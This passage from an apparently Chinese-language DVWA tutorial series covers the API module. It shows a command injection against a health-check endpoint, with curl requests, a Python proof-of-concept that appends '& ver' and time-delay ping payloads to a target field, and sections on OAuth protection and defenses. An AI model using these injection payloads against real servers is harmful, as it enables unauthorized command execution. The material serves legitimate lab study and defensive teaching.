and prepend your directory, so if you are in the DVWA directory you would change it to<br><br>
<i>/DVWA/vulnerabilities/api/v2/health/echo</i>
</p>
<p>
You might be able to work out how to call the individual functions by hand, but it would be a lot easier to import it into an application such as <a href='https://swagger.io/tools/swagger-ui/'>Swagger UI</a>, <a href='https://portswigger.net/bappstore/6bf7574b632847faaaa4eb5e42f1757c'>Burp</a>, <a href='https://www.zaproxy.org/docs/desktop/addons/openapi-support/'>ZAP</a>, or <a href='https://www.postman.com/'>Postman</a> and let the tool do the hard work of setting the requests up for you.
</p>
";
?>
3、分析网页源代码
(1)代码概述
| 端点 | 方法 | 行为 | 安全性 |
|---|---|---|---|
/health/ping |
GET | 返回 {"Ping":"Pong"} |
安全 |
/health/status |
GET | 返回 {"status":"OK"} |
安全 |
/health/echo |
POST | 回显传入的 words | 安全 |
/health/connectivity |
POST | exec("ping -c 4 ".target) |
命令注入 |
(2)漏洞分析
① 漏洞一 ------ 用户输入直接拼入 exec()(命令注入):
问题分析:$target 未经任何过滤直接拼接到 exec() 的命令字符串中。攻击者可通过 ;、&、| 等 shell 元字符注入任意命令。
② 漏洞二 ------ 盲注(输出未回显):
问题分析:exec() 的输出 $output 未被返回,响应只有 "OK" 或 "Connection failed" 两种。这是盲注 场景,但攻击者可通过返回码差异($ret_var)判断命令是否执行成功。
③ 漏洞三 ------ 无白名单校验:
问题分析:target 应为 IP 或域名,但服务端未做格式校验。攻击者可传入任意字符串。
4、操作步骤
⚠️ 踩坑:Windows 下 ping -c 报错。
connectivity接口用ping -c 4(Linux 语法),在 Windows 上ping不支持-c,正常请求也返回 500。但这不影响命令注入验证------用&追加一个成功命令(如ver)即可让整体返回码为 0。
(1)从 OpenAPI 文档定位待测接口
页面没有任何功能按钮,先点击页面上的 OpenAPI 链接(或直接访问 http://dvwa.cc/vulnerabilities/api/openapi.yml)拿到接口文档:
bash
curl -s "http://dvwa.cc/vulnerabilities/api/openapi.yml"
在文档中找到 health 标签下的 4 个端点,重点关注唯一带"远程主机"入参的 POST /v2/health/connectivity(文档中 requestBody 引用了 Target schema,描述为 "Remote host")。无参的 ping、status 和只做回显的 echo 没有可注入点,直接排除。
(2)正常请求(返回 500)
bash
curl -X POST "http://dvwa.cc/vulnerabilities/api/v2/health/connectivity" \
-H "Content-Type: application/json" \
-d '{"target":"127.0.0.1"}'
返回:{"status":"Connection failed"}(HTTP 500,因为 Windows 的 ping 不支持 -c)
(3)命令注入:用 & 追加成功命令
bash
curl -X POST "http://dvwa.cc/vulnerabilities/api/v2/health/connectivity" \
-H "Content-Type: application/json" \
-d '{"target":"127.0.0.1 & ver"}'
返回:{"status":"OK"}(HTTP 200,ver 命令执行成功,返回码 0)
(4)盲注验证:不存在的主机 + 成功命令仍返回 200
bash
curl -X POST "http://dvwa.cc/vulnerabilities/api/v2/health/connectivity" \
-H "Content-Type: application/json" \
-d '{"target":"no.such.host & ver"}'
返回:{"status":"OK"}------证明命令注入成立(即使 ping 失败,& ver 的成功让整体返回码为 0)。
(5)对比:不存在的主机单独请求返回 500
bash
curl -X POST "http://dvwa.cc/vulnerabilities/api/v2/health/connectivity" \
-H "Content-Type: application/json" \
-d '{"target":"no.such.host"}'
返回:{"status":"Connection failed"}(HTTP 500)
(6)时间盲注:用延迟确认命令执行
状态码差异之外,还可以通过响应时间差进一步坐实命令执行。Windows 下不要用 timeout(在 PHP exec() 重定向 stdin 的环境中会立即报错退出,无延迟),改用 ping -n 制造延迟:
bash
curl -X POST "http://dvwa.cc/vulnerabilities/api/v2/health/connectivity" \
-H "Content-Type: application/json" \
-w "\n耗时:%{time_total}s\n" \
-d '{"target":"127.0.0.1 & ping 127.0.0.1 -n 3 > nul"}'
返回:{"status":"OK"},耗时约 2.09s (正常请求仅 0.05s)------多出的 2 秒正是注入的 ping -n 3 产生的,证明任意命令确实在服务端执行。
通过 (3)(4)(5) 的对比,可以确认命令注入的存在:响应状态完全取决于
&后追加的命令是否成功,与 ping 本身无关;(6) 再用时间差从侧面证实命令被真实执行。
5、Python------PoC脚本
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
DVWA API Security ------ HIGH 级别 PoC(health 接口命令注入)
--------------------------------------------------------------------
漏洞原理:
HIGH 级别下,POST /v2/health/connectivity 接口存在命令注入:
① 接口接收 target 参数,直接拼入 exec("ping -c 4 " . $target);
② 服务端对 target 无任何过滤或转义;
③ 虽然命令执行结果不回显(盲注),但 exec 的返回码决定了 HTTP
状态码------返回码 0 → 200 OK,非零 → 500 Connection failed。
攻击者通过 & 分隔符追加一个必定成功的命令(如 ver),使整体返回码
变为 0,即可从 200/500 的差异判断命令执行成功。
验证方法(四组对照 + 时间盲注):
① 正常请求 target=127.0.0.1 → Windows 下 ping -c 报错,500;
② 注入 target=127.0.0.1 & ver → & ver 让返回码变 0,200;
③ 盲注 target=no.such.host & ver → 主机不存在但 & ver 兜底,200;
④ 对比 target=no.such.host → 无注入,ping 失败,500;
⑤ 时间盲注 target=127.0.0.1 & ping 127.0.0.1 -n 3 > nul
→ 响应延迟约 2 秒且返回 200。
注意:Windows 的 timeout 命令在 stdin 被重定向(exec 环境)时会立即
报错,不能用于时间盲注;用 ping -n 制造延迟才是可用方案(Linux 对应
sleep)。
使用方法:
python high.py
免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""
import requests
import json
import time
BASE = "http://dvwa.cc"
API = f"{BASE}/vulnerabilities/api"
def test_high_cmd_injection():
s = requests.Session()
print("[*] 漏洞:health/connectivity 的 target 拼入 exec('ping -c 4 '+target)")
print("-" * 55)
# 正常请求
r = s.post(f"{API}/v2/health/connectivity", json={"target": "127.0.0.1"})
print(f"[正常] target=127.0.0.1 -> {r.status_code} {r.text}")
# 命令注入
r = s.post(f"{API}/v2/health/connectivity", json={"target": "127.0.0.1 & ver"})
print(f"[注入] target=127.0.0.1 & ver -> {r.status_code} {r.text}")
# 盲注:不存在的主机 + 成功命令
r = s.post(f"{API}/v2/health/connectivity", json={"target": "no.such.host & ver"})
print(f"[盲注] target=no.such.host & ver -> {r.status_code} {r.text}")
# 对比:不存在的主机单独请求
r = s.post(f"{API}/v2/health/connectivity", json={"target": "no.such.host"})
print(f"[对比] target=no.such.host -> {r.status_code} {r.text}")
# 时间盲注:用 ping -n 制造约 2 秒延迟(timeout 在 exec 重定向下无效)
start = time.time()
r = s.post(f"{API}/v2/health/connectivity", json={"target": "127.0.0.1 & ping 127.0.0.1 -n 3 > nul"})
elapsed = time.time() - start
print(f"[时间盲注] ...& ping 127.0.0.1 -n 3 > nul -> {r.status_code}, 耗时 {elapsed:.2f}s")
print("-" * 55)
print("[+] 命令注入确认:通过 & 追加命令可控制 exec 返回码,实现盲注")
if __name__ == "__main__":
test_high_cmd_injection()
脚本说明:
| 代码行 | 说明 |
|---|---|
r = s.post(f"{API}/v2/health/connectivity", json={"target": "127.0.0.1"}) |
对照组①:正常请求 。target 设为合法 IP 127.0.0.1。在 Windows 上 ping -c 4 会报错(-c 是 Linux 参数),所以即使 IP 合法也返回 500。这组用于证明"正常请求也失败",排除 IP 本身的问题 |
r = s.post(..., json={"target": "127.0.0.1 & ver"}) |
实验组①:命令注入 。在 target 后追加 & ver。Windows 的 & 是命令分隔符,等价于执行 ping -c 4 127.0.0.1 & ver。ver 命令一定成功(返回码 0),所以整条命令的返回码由最后一条决定,变为 0,服务端返回 200 |
r = s.post(..., json={"target": "no.such.host & ver"}) |
实验组②:盲注验证 。target 设为不存在的主机 no.such.host,但同样追加 & ver。如果没有注入,ping 不存在的主机会失败返回非零;但因为 & ver 让整体返回码为 0,服务端返回 200。这证明注入生效,与主机是否可达无关 |
r = s.post(..., json={"target": "no.such.host"}) |
对照组②:排除干扰 。同样用不存在的主机,但不追加命令。此时 ping 失败,返回码非零,服务端返回 500。与实验组②对比,证明 200 的差异完全来自 & ver 的注入 |
print("[+] 命令注入确认...") |
漏洞判定逻辑 :通过四组请求的 200/500 差异对比,证明 target 参数被拼入 exec() 且可通过 & 控制命令返回码。这是典型的盲注------命令执行结果不回显,但通过 HTTP 状态码差异可判断 |
脚本逻辑总结 :四组请求构成"2×2 对照实验"------IP 合法/不合法 × 是否注入命令。核心发现是:只要追加 & ver,无论 target 是否可达都返回 200;不追加则返回 500。这证明 target 被直接拼入 shell 命令且无过滤,命令注入成立。

6、AI视角下的 API 安全
命令注入智能检测与防御:
HIGH 级别的漏洞是"服务端直接执行用户输入拼接的命令"。AI 可从以下维度辅助:
- 命令特征检测 :在 WAF 或 API 网关层部署 AI 模型,识别请求参数中的 shell 元字符和注入模式。包括:命令分隔符(
;、&、&&、||)、管道符(|)、命令替换($()、反引号)、重定向(>、>>)、路径遍历(../)等。可采用正则规则 + 深度学习分类器(如 TextCNN)组合检测,降低误报率 - 执行流分析(代码侧) :AI 辅助的 SAST 工具可静态分析服务端代码,追踪
exec()、system()、shell_exec()、passthru()、proc_open()等危险函数的输入来源。当发现用户可控参数($_GET、$_POST、JSON body)未经过滤直接拼入这些函数时,标记为高危漏洞。可构建数据流图(Data Flow Graph)追踪污点传播路径 - 异常行为基线(流量侧) :对
connectivity、ping、health等可能执行系统命令的接口建立正常请求基线。例如正常 target 值应为 IP 地址(^\d{1,3}(\.\d{1,3}){3}$)或域名。当 target 值中出现空格、&、|等异常字符时,立即拦截。可结合历史数据训练异常检测模型 - 盲注结果推断 :对于无回显的命令注入(盲注),AI 可通过分析 HTTP 响应时间差异、状态码变化、响应体大小差异来推断命令执行结果。例如 Windows 下注入
& ping 127.0.0.1 -n 6 > nul(Linux 对应; sleep 5)后响应延迟约 5 秒,可确认命令执行。可训练时序模型检测响应时间异常。注意生成时间盲注 payload 时需考虑运行环境:Windows 的timeout在服务端重定向 stdin 时会直接失败,并非通用载荷 - 主动 Payload 生成 :AI 可自动生成命令注入 payload,针对不同操作系统(Windows/Linux/macOS)生成对应的命令分隔符和成功命令组合。例如 Windows 用
& ver,Linux 用; id,并根据响应差异自动调整 payload 策略
实战工具链:
- 流量侧检测:ModSecurity CRS 规则 + 自研 AI 分类器
- 代码侧审计:Semgrep
php.lang.security规则集、CodeQLcommand-injection查询 - 盲注检测:sqlmap
--os-shell模式、自研时间盲注脚本 - Payload 生成:PayloadsAllTheThings 命令注入清单 + AI 变异
7、HIGH级别------小结
HIGH 级别的 API 模块展示了命令注入漏洞:
target参数直接拼入exec(),无任何过滤- 虽然输出未回显(盲注),但通过返回码差异可判断命令执行结果
- 攻击者可通过
&、;、|等注入任意系统命令
一句话总结:永远不要把用户输入拼进 shell 命令,要用白名单校验或安全的 API 替代。
五、Impossible 级别 ------ OAuth 2.0 保护
1、漏洞描述
Impossible 级别的 Order 接口采用 OAuth 2.0 密码模式(Resource Owner Password Credentials Grant) 进行保护。访问 /v2/order/ 等接口必须在请求头中携带有效的 Bearer access_token,否则返回 401。
页面提示:"The order system uses OAuth 2.0 for authentication... Use this level to practice setting up OAuth 2.0 in your testing tool of choice."
2、查看网页源代码
php
<?php
$message = "";
echo "
<p>
Rather than try to develop a perfect API, there is a different type of challenge for this level.
</p>
<p>
The order system uses <a href='https://oauth.net/2/'>OAuth 2.0</a> for authentication. Being able to automate using this in your tools will greatly help with efficiency, removing the need to manually login and copy access tokens around. Use this level to practice setting up OAuth 2.0 in your testing tool of choice, for me this is <a href='https://www.postman.com/'>Postman</a> which is then proxied through <a href='https://portswigger.net/burp'>Burp</a>, but you can pick whatever tools are most appropriate for your testing environment.
</p>
<p>
Here are some guides that might help:
</p>
<ul>
<li><a href='https://learning.postman.com/docs/sending-requests/authorization/oauth-20/'>Authenticate with OAuth 2.0 authentication in Postman</a></li>
<li><a href='https://blog.postman.com/what-is-oauth-2-0/'>What is OAuth 2.0?</a></li>
</ul>
";
?>
3、分析网页源代码
(1)代码概述
| 组件 | 行为 | 安全性 |
|---|---|---|
checkToken() |
从 Authorization: Bearer xxx 提取并校验 token |
✅ 必须携带有效 token |
login() |
校验 client 凭证 + 用户凭证后签发 token | ✅ 双重凭证校验 |
Token |
AES-128-GCM 加密 token 内容 | ✅ 令牌加密存储 |
create_token() |
access_token 有效期 180 秒 | ✅ 令牌过期机制 |
(2)安全分析
| 安全措施 | 实现方式 | 防御效果 |
|---|---|---|
| 认证 | OAuth 2.0 密码模式 | 防止未授权访问 |
| 令牌加密 | AES-128-GCM 加密 token 载荷 | 防止令牌篡改 |
| 令牌过期 | access_token 180s 有效期 | 限制重放窗口 |
| 刷新令牌 | refresh_token 240s 有效期 | 支持无感续期 |
(3)为什么 Impossible 级别是安全的?
关键在于 Order 接口的每个操作(GET/POST/PUT/DELETE)都先调用 checkToken():
攻击者直接 GET /v2/order/
↓
checkToken() 返回 false(无 Authorization 头)
↓
返回 401 {"status":"Invalid or missing token"}
攻击者必须先通过 OAuth 登录获取 token,且 token 180 秒后过期,大幅缩小了攻击窗口。
6、 AI视角下的 API 安全
OAuth 2.0 安全审计与令牌异常检测:
Impossible 级别展示了 OAuth 2.0 的正确实现,但即使有 OAuth 保护,AI 仍可从以下维度辅助审计和检测异常:
- 令牌异常使用检测:对 access_token 的使用行为建立基线。包括:同一 token 在短时间内从多个 IP 访问(可能被盗)、token 在过期前大量请求(可能被滥用)、非工作时间的异常访问等。可采用时序模型(如 LSTM AutoEncoder)检测 token 使用模式异常
- OAuth 流程合规性审计:AI 可自动检查 OAuth 2.0 实现是否符合安全最佳实践。包括:是否使用 HTTPS 传输、客户端密钥是否硬编码在前端、token 是否设置合理的过期时间、是否使用 state 参数防止 CSRF、是否验证 redirect_uri 白名单等。可基于 RFC 6749 和 OAuth 2.0 Security BCP 构建检查清单
- 权限范围(Scope)越权检测 :分析 access_token 中携带的 scope 与实际请求的资源是否匹配。例如 token 的 scope 是
read:order,但请求了DELETE /v2/order/1,这属于 scope 越权。AI 可自动解析 JWT 令牌中的 scope 声明,与请求方法和路径进行匹配校验 - 暴力破解与撞库检测 :对登录接口(
/v2/login/login)的请求频率和失败率进行监控。当单 IP 短时间内大量尝试不同用户名/密码组合时,识别为暴力破解。可结合 IP 信誉库和设备指纹识别撞库攻击 - 令牌伪造与篡改检测 :对 JWT 格式的 token 进行结构验证,检查 header/alg/payload/signature 是否合法,是否使用了
alg:none等危险算法。对 AES-GCM 加密的自定义 token,检测密文格式异常和重放攻击(同一 token 被重复使用)
实战工具链:
- 令牌审计:
jwt.io、jwt_tool检查 JWT 安全性 - OAuth 合规:OAuth 2.0 Security BCP 检查清单 + 自研扫描器
- 异常检测:Elasticsearch + ML 异常检测插件(如 Open Distro 的 AD 插件)
- 登录防护:Fail2ban + 自研设备指纹 + 滑动验证码
7、 Impossible级别------小结
Impossible 级别展示了 OAuth 2.0 的正确做法:
- Order 接口每个操作都校验 Bearer token,无 token 返回 401
- 登录接口要求客户端凭证 + 用户凭证双重认证
- access_token 有效期仅 180 秒,降低重放风险
- 令牌内容经 AES-128-GCM 加密,防篡改
一句话总结:Impossible 级别通过 OAuth 2.0 + 令牌加密 + 过期机制,使未授权访问 Order 接口变得不可能。
六、LOW vs MEDIUM vs HIGH vs Impossible:防御演进对比
1、防护策略演进对比
| 防护维度 | LOW 级别 | MEDIUM 级别 | HIGH 级别 | Impossible 级别 |
|---|---|---|---|---|
| 接口版本管理 | ❌ v1 未下线 | ✅ 仅 v2 | ✅ 仅 v2 | ✅ 仅 v2 |
| 字段脱敏 | ❌ v1 返回 password | ✅ 不返回敏感字段 | ✅ 不返回敏感字段 | ✅ 不返回敏感字段 |
| 字段白名单 | N/A | ❌ level 可被篡改 | N/A | N/A |
| 命令执行防护 | N/A | N/A | ❌ exec 直接拼接 | N/A |
| 认证机制 | ❌ 无 | ❌ 无 | ❌ 无 | ✅ OAuth 2.0 |
| 令牌过期 | N/A | N/A | N/A | ✅ 180s |
2、攻击面变化分析
| 攻击类型 | LOW | MEDIUM | HIGH | Impossible |
|---|---|---|---|---|
| 旧接口数据泄露 | ✅ v1 密码哈希 | ❌ | ❌ | ❌ |
| 字段越权提权 | ❌ | ✅ level 可改 | ❌ | ❌ |
| 命令注入 | ❌ | ❌ | ✅ exec 拼接 | ❌ |
| 未授权访问 | ✅ 无认证 | ✅ 无认证 | ✅ 无认证 | ❌ 需 OAuth token |
3、API 安全的核心原则
| 原则 | 说明 | 对应级别 |
|---|---|---|
| 及时下线旧版本 | API 升级后必须停用旧接口 | LOW→修复 |
| 字段白名单校验 | 更新接口只允许修改指定字段 | MEDIUM→修复 |
| 禁止命令拼接 | 用安全 API 替代 exec/shell_exec | HIGH→修复 |
| 实施认证授权 | 所有接口必须有访问控制 | Impossible |
| 令牌过期机制 | access_token 设置短有效期 | Impossible |
七、总结
1、漏洞全景回顾
| 层级 | LOW 级别 | MEDIUM 级别 | HIGH 级别 | Impossible 级别 |
|---|---|---|---|---|
| 漏洞类型 | 🔴 旧接口泄露 | 🔴 字段越权 | 🔴 命令注入 | 🟢 OAuth 保护 |
| 根因 | 版本未下线 | 无字段白名单 | exec 拼接 | --- |
| 危害 | 密码哈希泄露 | 垂直越权 | RCE | --- |
2、核心防御建议优先级
高优先级(必须修复)
├── ① API 升级后及时下线旧版本接口【LOW】
├── ② 更新接口实施字段白名单校验【MEDIUM】
└── ③ 禁止将用户输入拼入 shell 命令【HIGH】
中优先级(强烈建议)
├── ④ 所有接口实施认证授权机制【Impossible】
├── ⑤ 敏感字段脱敏后再返回【LOW】
└── ⑥ 令牌设置合理的过期时间【Impossible】
低优先级(可选优化)
├── ⑦ 部署 AI API 异常检测
├── ⑧ 实施 API 访问日志审计
└── ⑨ 定期进行 API 安全测试
3、关键启发
- API 版本管理是安全盲区 :开发者往往专注于新版本的安全,却忽略了旧版本接口仍在运行。LOW 级别的教训是------不修旧接口等于没修。
- 前端校验不算数 :MEDIUM 级别前端只传
name,但服务端却处理了level。所有安全校验必须在服务端做,前端约束只能改善体验,不能提供安全。 - 命令执行是高危操作 :HIGH 级别的
exec()拼接是经典的命令注入。任何涉及系统命令执行的地方,都必须用白名单校验或安全 API。 - 认证是 API 安全的基础 :Impossible 级别的 OAuth 2.0 证明了------没有认证的 API 等于裸奔。
八、AI增强防御建议
1、智能 API 安全检测
| 传统方案 | AI 增强方案 |
|---|---|
| 人工审计接口版本 | 自动扫描僵尸接口并标记 |
| 基于规则的注入检测 | 基于语义的异常字段识别 |
| 静态 WAF 规则 | 动态行为基线 + 异常评分 |
实现思路:
- 建立 API 接口清单与版本映射,自动检测可访问但非最新版本的接口
- 对 PUT/PATCH 请求进行字段基线建模,识别越权字段(
level、role、is_admin) - 分析请求参数中的 shell 元字符,结合服务端执行流图谱判断注入风险
2、基于行为的 API 异常检测
| 特征维度 | 正常用户 | API 攻击 |
|---|---|---|
| 接口版本 | 仅使用最新版 | 探测旧版本接口 |
| 请求字段 | 符合 API 文档 | 出现文档外字段 |
| 参数内容 | 合法 IP/域名 | 含 shell 元字符 |
| 访问频率 | 符合业务节奏 | 异常高频遍历 |
3、总结
AI 时代的 API 安全,并非要用 AI 取代传统防御,而是借助 AI 为传统防御注入智能化的能力。
传统防御:构筑基础安全基线,涵盖下线旧接口、实施字段白名单、禁止命令拼接、落实 OAuth 认证等关键措施。
AI 增强:提供智能化的接口版本审计、异常字段检测与注入行为识别,让安全防护从被动响应走向主动感知。
唯有将二者深度融合,方能构建真正健壮、可持续演进的 API 安全体系。安全体系。
免责声明:本文所述内容仅供安全研究与学习交流使用,所有测试均在本地授权靶场(DVWA)环境中进行。未经授权,严禁将文中技术用于任何非法目的。
📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 19 篇文章。
- 上一篇 :从弱加密到安全实现:DVWA 密码学模块完整漏洞分析教程
- 下一篇 :将进入 总结篇,带你完整回顾 DVWA 全模块的漏洞类型与防御方法论
👉 点击订阅专栏,第一时间收到更新通知!
如果你在阅读过程中有任何疑问,欢迎在评论区留言交流。😊